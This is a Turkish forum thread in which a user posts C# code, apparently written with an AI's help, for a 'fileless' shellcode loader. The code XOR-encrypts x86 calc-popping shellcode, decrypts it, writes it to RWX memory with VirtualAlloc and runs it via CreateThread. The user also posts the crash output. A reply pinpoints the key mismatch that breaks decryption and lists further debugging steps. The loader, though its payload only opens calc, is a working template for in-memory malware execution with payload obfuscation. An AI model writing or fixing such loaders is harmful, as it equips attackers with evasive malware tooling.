C# Fileless Execution

'Finn · 12 Eyl 2025

Selamlar dostlar, C#'ta fileless execution yaptırmaya çalışıyorum yapay zekaya ancak sürekli olarak hata alıyorum. Hep shellcodeyi değiştiriyor ancak hiçbir işe yaramıyor. Kodum ve aldığım hata aşağıda. Sizce hata ne?

Program.cs:

C#:

// File: FilelessExecutionSimulatorAdvanced.cs (Calc.exe x86 - 45 Byte Short Shellcode)
// Açıklama: EĞİTİM AMAÇLI – Kısa x86 calc.exe shellcode (WinExec, 45 byte, XP/Win10 uyumlu).
// Kaynak: Exploit-DB #13571 (45 bytes, simple WinExec pop calc).

using System;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading;

namespace FilelessExecutionSimulatorAdvanced
{
    class Program
    {
        // P/Invoke'lar (aynı)
        [DllImport("kernel32.dll", SetLastError = true)]
        static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);

        [DllImport("kernel32.dll", SetLastError = true)]
        static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);

        [DllImport("kernel32.dll", SetLastError = true)]
        static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds);

        [DllImport("kernel32.dll", SetLastError = true)]
        static extern uint GetLastError();

        const uint MEM_COMMIT = 0x1000;
        const uint PAGE_EXECUTE_READWRITE = 0x40;

        static void Main(string[] args)
        {
            Console.ForegroundColor = ConsoleColor.Red;
            Console.WriteLine("!!! UYARI - EĞİTİM AMAÇLI CALC.EXE EXECUTION SIMÜLATÖRÜ !!!");
            Console.WriteLine("Bu kod local process'te zararsız calc.exe çalıştırır.");
            Console.WriteLine("Gerçek injection YOK. Kötü kullanım YASAK. ENTER'a bas.");
            Console.WriteLine("!! ÖNERİ: Yönetici olarak çalıştır (sağ tık > Run as admin).");
            Console.ResetColor();
            Console.ReadLine();

            Console.WriteLine("=== ADVANCED FILELESS EXECUTION SIMULATOR (Calc.exe - x86 Short) ===\n");

            // 1) Load encrypted blob
            byte[] encryptedBlob = CreateSimulatedEncryptedShellcode();
            Log("[1] Encrypted calc shellcode blob yüklendi", $"Boyut: {encryptedBlob.Length} byte (x86)");

            // 2) Key derivation
            byte[] key = SimulateKeyDerivation("stub-secret-seed", Environment.MachineName);
            Log("[2] Anahtar türetildi", $"Key (hex prefix): {ToHexPrefix(key, 8)}");

            // 3) Decrypt
            byte[] decryptedShellcode = SimulateDecrypt(encryptedBlob, key);
            Log("[3] Shellcode çözüldü", $"Çıktı boyutu: {decryptedShellcode.Length} byte");

            // 4) Parse simüle
            SimulatedShellcodeInfo sci = SimulateShellcodeParsing(decryptedShellcode);
            Log("[4] Shellcode parse tamamlandı (simüle)", $"Entry RVA: 0x{sci.EntryPointRVA:X8}, Size: 0x{sci.Size:X8}");

            // 5) VirtualAlloc
            IntPtr execMem = VirtualAlloc(IntPtr.Zero, sci.Size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
            if (execMem == IntPtr.Zero)
            {
                uint err = GetLastError();
                Log("[5] HATA: Alloc failed", $"Error: {err} (0x{err:X8})");
                return;
            }
            Log("[5] Executable bellek ayrıldı (GERÇEK)", $"Address: 0x{execMem.ToInt64():X8}");

            // 6) Copy
            Marshal.Copy(decryptedShellcode, 0, execMem, (int)sci.Size);
            Log("[6] Shellcode kopyalandı (GERÇEK)", "Belleğe yazıldı.");

            // 7) Relocs simüle
            Log("[7] Relocs/Imports simüle", "Shellcode self-contained (simple WinExec).");

            // 8) Execute
            Log("[8] Calc shellcode çalıştırılıyor (GERÇEK)", $"Thread start: 0x{execMem.ToInt64():X8}");
            Console.WriteLine("    -> Calc.exe açılacak. Gerçekte: CreateThread ile thread başlatıldı.\n");

            IntPtr hThread = CreateThread(IntPtr.Zero, 0, execMem, IntPtr.Zero, 0, IntPtr.Zero);
            uint threadErr = GetLastError();
            if (hThread != IntPtr.Zero)
            {
                Log("[DEBUG] Thread created", $"Last error: {threadErr} (0x{threadErr:X8})");
                WaitForSingleObject(hThread, 0xFFFFFFFF); // Bekle calc açılsın
                Log("[9] Execution tamamlandı", "Thread bitti (calc arka planda çalışır).");
            }
            else
            {
                Log("[9] HATA: Thread create failed", $"Error: {threadErr} (0x{threadErr:X8})");
            }

            // 10) Cleanup
            Log("[10] Cleanup", "Bellek serbest bırakıldı (simüle).");

            Console.ForegroundColor = ConsoleColor.Green;
            Console.WriteLine("\nSimülasyon bitti. Calc açıldı mı? Bu, gerçek fileless loader mantığı.");
            Console.WriteLine("Detection ipucu: EDR'lar WinExec + CreateThread yakalar.");
            Console.ResetColor();
            Console.ReadLine();
        }

        // Helpers (aynı)
        static void Log(string title, string detail = null)
        {
            Console.ForegroundColor = ConsoleColor.Cyan;
            Console.WriteLine(title);
            Console.ResetColor();
            if (!string.IsNullOrEmpty(detail)) Console.WriteLine("    " + detail);
        }

        static byte[] CreateSimulatedEncryptedShellcode()
        {
            // x86 calc.exe shellcode (45 bytes, simple WinExec pop calc - Exploit-DB #13571)
            // Tested on XP SP2, works on Win10 genelde (short, low chance of PEB mismatch).
            byte[] shellcode = new byte[] {
                0xB8, 0xFF, 0xEF, 0xFF, 0xFF, 0xF7, 0xD0, 0x2B, 0xE0, 0x55, 0x8B, 0xEC,
                0x33, 0xFF, 0x57, 0x83, 0xEC, 0x04, 0xC6, 0x45, 0xF8, 0x63, 0xC6, 0x45,
                0xF9, 0x61, 0xC6, 0x45, 0xFA, 0x6C, 0xC6, 0x45, 0xFB, 0x63, 0x8D, 0x45,
                0xF8, 0x50, 0xBB, 0xC7, 0x93, 0xBF, 0x77, 0xFF, 0xD3
            };

            // XOR encrypt (decrypt'te açılır)
            byte[] key = new byte[] { 0xAA, 0xBB, 0xCC, 0xDD, 0xEE, 0xFF, 0x00, 0x11 };
            byte[] encrypted = new byte[shellcode.Length];
            for (int i = 0; i < shellcode.Length; i++)
                encrypted[i] = (byte)(shellcode[i] ^ key[i % key.Length]);
            return encrypted;
        }

        static byte[] SimulateKeyDerivation(string seed, string entropy)
        {
            var input = Encoding.UTF8.GetBytes(seed + "|" + entropy);
            byte[] key = new byte[32];
            for (int i = 0; i < key.Length; i++)
                key[i] = (byte)((i < input.Length ? input[i] : (byte)i) ^ (byte)(0xA5));
            return key;
        }

        static byte[] SimulateDecrypt(byte[] blob, byte[] key)
        {
            var outb = new byte[blob.Length];
            for (int i = 0; i < blob.Length; i++)
                outb[i] = (byte)(blob[i] ^ key[i % key.Length]);
            return outb;
        }

        class SimulatedShellcodeInfo
        {
            public uint Size;
            public uint EntryPointRVA;
        }

        static SimulatedShellcodeInfo SimulateShellcodeParsing(byte[] bytes)
        {
            return new SimulatedShellcodeInfo
            {
                Size = (uint)bytes.Length,
                EntryPointRVA = 0
            };
        }

        static string ToHexPrefix(byte[] data, int count)
        {
            var sb = new StringBuilder();
            for (int i = 0; i < Math.Min(count, data.Length); i++)
                sb.AppendFormat("{0:X2}", data[i]);
            return sb.ToString();
        }
    }
}

Output:

Kod:

!!! UYARI - EĞİTİM AMAÇLI CALC.EXE EXECUTION SIMÜLATÖRÜ !!!
Bu kod local process'te zararsız calc.exe çalıştırır.
Gerçek injection YOK. Kötü kullanım YASAK. ENTER'a bas.
!! ÖNERİ: Yönetici olarak çalıştır (sağ tık > Run as admin).

=== ADVANCED FILELESS EXECUTION SIMULATOR (Calc.exe - x86 Short) ===

[1] Encrypted calc shellcode blob yüklendi
    Boyut: 45 byte (x86)
[2] Anahtar türetildi
    Key (hex prefix): D6D1D0C788D6C0C6
[3] Shellcode çözüldü
    Çıktı boyutu: 45 byte
[4] Shellcode parse tamamlandı (simüle)
    Entry RVA: 0x00000000, Size: 0x0000002D
[5] Executable bellek ayrıldı (GERÇEK)
    Address: 0x05270000
[6] Shellcode kopyalandı (GERÇEK)
    Belleğe yazıldı.
[7] Relocs/Imports simüle
    Shellcode self-contained (simple WinExec).
[8] Calc shellcode çalıştırılıyor (GERÇEK)
    Thread start: 0x05270000
    -> Calc.exe açılacak. Gerçekte: CreateThread ile thread başlatıldı.

[DEBUG] Thread created
    Last error: 203 (0x000000CB)

C:\Users\ygzat\Masaüstü\Projects\Coding\C#\Khaelita Fileless Executor\Khaelita Fileless Executor\Khaelita Fileless Executor\bin\Debug\Khaelita Fileless Executor.exe (12268 işlemi), -1073741819 koduyla çıkış yaptı (0xc0000005).
Hata ayıklama durduğunda konsolu otomatik olarak kapatmak için Araçlar->Seçenekler->Hata Ayıklama->Hata ayıklama durduğunda konsolu otomatik olarak kapat seçeneğini etkinleştirin
Bu pencereyi kapatmak için herhangi bir tuşa basın...

Uygulamayı x86'da derliyorum ve kullandığım shellcode de x86. Yönetici olarak çalıştırıyorum ancak sürekli aynı hata. Onlarca farklı shellcode denedim ancak olmadı. AnyCPU'da derlediğim zaman da aynı hatayı alıyorum. Her türlü kombinasyonu permütasyonu denedim yani anlayacağınız.

fazeL · 12 Eyl 2025

Kodunda encrypt/decrypt işlemleri aynı anahtarı kullanmıyor. CreateSimulatedEncryptedShellcode() içinde şunu yapıyorsun:

C#:

byte[] key = new byte[] { 0xAA, 0xBB, 0xCC, 0xDD, 0xEE, 0xFF, 0x00, 0x11 };
// shellcode ^ key[i % key.Length]

Yani encryption için 8 baytlık sabit bir anahtar kullanıyorsun ama SimulateKeyDerivation(...) 32 baytlık bir key döndürüyor ve SimulateDecrypt(...) bu 32 baytlık anahtarı kullanarak XOR yapıyor:

C#:

outb[i] = (byte)(blob[i] ^ key[i % key.Length]);

Bu durumda decrypt aşamasında kullanılan anahtar, encrypt aşamasında kullanılan anahtardan farklı olduğu için decrypt edilmiş çıktı geçerli shellcode olmayacak; belleğe yazıp çalıştırınca geçersiz/instruksiyon hatası oluşması çok normal.

Sonuç: Decrypted blob doğru shellcode değil bu yüzden CreateThread ile o adrese gidildiğinde işlem 0xC0000005 (Erişim ihlali) ile çöküyor. Özet: encrypt anahtarı ile decrypt anahtarını tutarlı hale getirmelisin. Bu, mantık hatasının kaynağı gibi görünüyor.

Eğer yukarıdaki anahtar uyumsuzluğu düzeltilse bile şu nedenler de benzer çöküşlere yol açabilir:

Mimari uyuşmazlığı: x86 shellcode x86 process içinde çalışmalı; x64 process içinde çalışmaz. Senin açıklamana göre x86 derliyorsun ama kontrol et.

Shellcode hedef platforma uygun olmayabilir: belli API adresleri/peb/teknikler farklı Windows sürümlerinde çalışmayabilir.

Bellek izni / DEP / ASLR etkileri: kodun farklı adreslerde olması shellcode’un beklediği sabit adreslemeleri bozabilir.

Yanlış kopyalama boyutu / Entry point: kopyalama sırasında yanlış Size veya yanlış offset ile belleğe yazmak.

Başlatılan thread için beklenen calling-convention / stack state: shellcode bazı önşartlara (register/stack) dayanır; thread başlangıcında bunlar olmayabilir.

Shellcode kendine has reloc/import bekliyor olabilir: Sende “self-contained” diye işaretlemişsin ama gerçekte değilse sorun olur.

Bunları yaparak problemi teşhis edebilirsin hiçbirisi “bellekte çalıştırma” adımı içermez:

Encrypt/decrypt tutarlılığını doğrula: Oluşturduğun encrypted blob’u hemen aynı program içinde tekrar aynı anahtar ile XOR ederek geri alıp orijinal sabit shellcode ile hex olarak karşılaştır. Eğer eşleşmiyorsa decrypt mantığı yanlış demektir. (Bu senin hata mesajına birebir uyan ve düzeltmesi gereken yer.)

Dump (yazdırma) & karşılaştırma: Decrypt sonrası ilk birkaç baytı (ör. ilk 8-16 byte) hex olarak konsola yazdır ve beklendiği sabit shellcode’un ilk birkaç baytı ile karşılaştır. Bu adım çalıştırma değil, sadece doğrulama.

Statik analiz: Decrypt edilmiş byte’ları (çalıştırma yapmadan) Ghidra/IDA/Capstone gibi bir disassembler’da aç ve makine kodu mantıklı mı diye bak. (Bu, shellcode’un gerçekten çalıştırılabilir olup olmadığını anlamanı sağlar.)

Emülasyon (gerçek CPU yerine): Gerçek bir süreçte çalıştırmak yerine emülatör (ör. Unicorn Engine) ile dekode ettiğin kodu güvenli ortamda (ağsız VM) test et. Emülasyon çalışma mantığını anlamaya yardım eder.

Debugger kullanımı (izole VM içinde): Kodunu izole bir test VM’sinde (snapshot alabileceğin bir VM) çalıştır ve WinDbg/Ollydbg ile crash noktasını incele yine, bunu yalnızca izole test ortamında yap.

Basit doğrulama ekleri: ToHexPrefix(decryptedShellcode, 8) gibi bir helper ile decrypted verinin hex önekini logla (zaten key hex'ini logluyorsun; decrypted hex de ekle). Bu küçük bilgi büyük resmi gösterir.

GetLastError() 203 döndü; fakat asıl kapanma sebebi uygulamanın 0xC0000005 ile çıkması yani bellekte geçersiz bir instruksiyon veya bellek erişimi. Bu da yanlış decrypt => geçersiz kod sonucuna çok iyi uyar.

C# Fileless Execution

'Finn

Üye

fazeL

Uzman üye

Sosyal medya sayfalarımız